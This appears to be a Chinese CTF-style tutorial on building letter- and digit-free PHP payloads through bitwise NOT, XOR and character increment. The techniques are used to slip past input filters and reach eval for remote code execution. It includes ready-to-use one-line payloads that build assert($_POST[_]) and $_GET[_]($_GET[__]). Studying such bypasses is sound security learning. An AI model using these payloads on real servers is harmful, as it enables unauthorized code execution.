本文最后更新于:4 个月前
取反
1 2 3 4 5 6 7
| <?php $a = "phpinfo"; $a = ~$a; $a = urlencode($a); echo $a; eval($_GET['1']);
|
类似于php中(“system”)(“calc”)这种的用法,php的机制导致它可以使用字符串来作为函数名执行
但是在测试中发现php8和php7有点不同,php7中,本应是字符串所在的位置可以不使用引号将字符串包裹起来,不会抛出Error,会将它作为字符串来看待并执行语句
而在php8中对语法的要求则更加严格,会出现Fatal Error
因此在php7中,你可以这样:
进一步地,可以传参实现rce:
1 2 3 4 5 6 7 8 9 10
| <?php $a = "system"; $a = ~$a; $a = urlencode($a); echo $a."<br>"; $b = "calc"; $b = ~$b; $b = urlencode($b); echo $b; eval($_GET['1']);
|
Q&A
Q:url编码中不是避免不了数字和英文吗,怎么又能够实现无数字字母呢
A:payload到后端后会自动解码一次,因此到后端之后他已经是url解码后的样子了几乎是一些乱七八糟的字符甚至不可见的,取反一下就是我们所需要的字符串,取反的过程就交给eval吧(
异或
这是一张经典的ascii表
php中,两个字符进行异或时会将其二进制按位异或,举个例子字符A
的二进制是1000001,字符a
的二进制是1100001,那么按位异或的结果就是0100000,也就是字符空格
在php中验证一下
1 2 3 4 5 6 7 8 9 10
| <?php $var = ')'; for($i=0;$i<256;$i++){ for($j=0;$j<256;$j++){ if(chr($i^$j)==$var && !preg_match("/[A-Za-z0-9]+/",chr($i).chr($j))){ echo "('".(urlencode(chr($i))."'^'".urlencode(chr($j)))."')"; echo "\n"; } } }
|
1 2 3 4 5 6 7 8 9
| a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08' P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08'); // $_=assert $__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F'); // $__=_POST $___=$$__; //$___=$_POST $_($___[_]);//assert($_POST[_]);
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);
|
自增
同C语言类似的,PHP中可以通过字符的自增运算来获得更高ascii值的字符,但是无法通过自减运算获得更低的
在PHP中,字符串与数组拼接后会转为原字符串与”Array”字符串拼接后的结果:
5,7,8的版本中均OK,
如何构造数字取下标,同Python中类似的,PHP中的True在做运算的时候也为1
这样既可获得字符A:
进行自增,获得B:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php $_=[].'';//Array $_=$_[''=='$'];//A $_++;//B $_++;//C $_++;//D $_++;//E $__=$_;//E $_++;//F $_++;//G $___=$_;//G $_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T $_=$___.$__.$_;//GET //var_dump($_); $_='_'.$_;//_GET var_dump($$_[_]($$_[__])); //$_GET[_]($_GET[__])
|
1
| $_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);
|
URL编码后传入__
和_
参数实现RCE: